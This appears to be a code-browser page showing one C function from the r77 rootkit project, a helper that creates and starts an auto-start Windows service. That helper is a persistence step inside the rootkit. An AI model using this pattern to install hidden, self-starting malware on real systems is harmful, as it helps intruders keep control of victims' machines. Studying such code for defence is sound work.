MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / CreateWindowsService

Function CreateWindowsService

r77api/r77win.c:544–566  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

542 return result;
543}
544BOOL CreateWindowsService(LPCWSTR name, LPCWSTR binPath)
545{
546 BOOL result = FALSE;
547
548 SC_HANDLE serviceManager = OpenSCManagerW(NULL, NULL, SC_MANAGER_ALL_ACCESS);
549 if (serviceManager)
550 {
551 SC_HANDLE service = CreateServiceW(serviceManager, name, NULL, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, binPath, NULL, NULL, NULL, NULL, NULL);
552 if (service)
553 {
554 if (StartServiceW(service, 0, NULL))
555 {
556 result = TRUE;
557 }
558
559 CloseServiceHandle(service);
560 }
561
562 CloseServiceHandle(serviceManager);
563 }
564
565 return result;
566}
567BOOL DeleteWindowsService(LPCWSTR name)
568{
569 BOOL result = FALSE;

Callers 1

mainFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected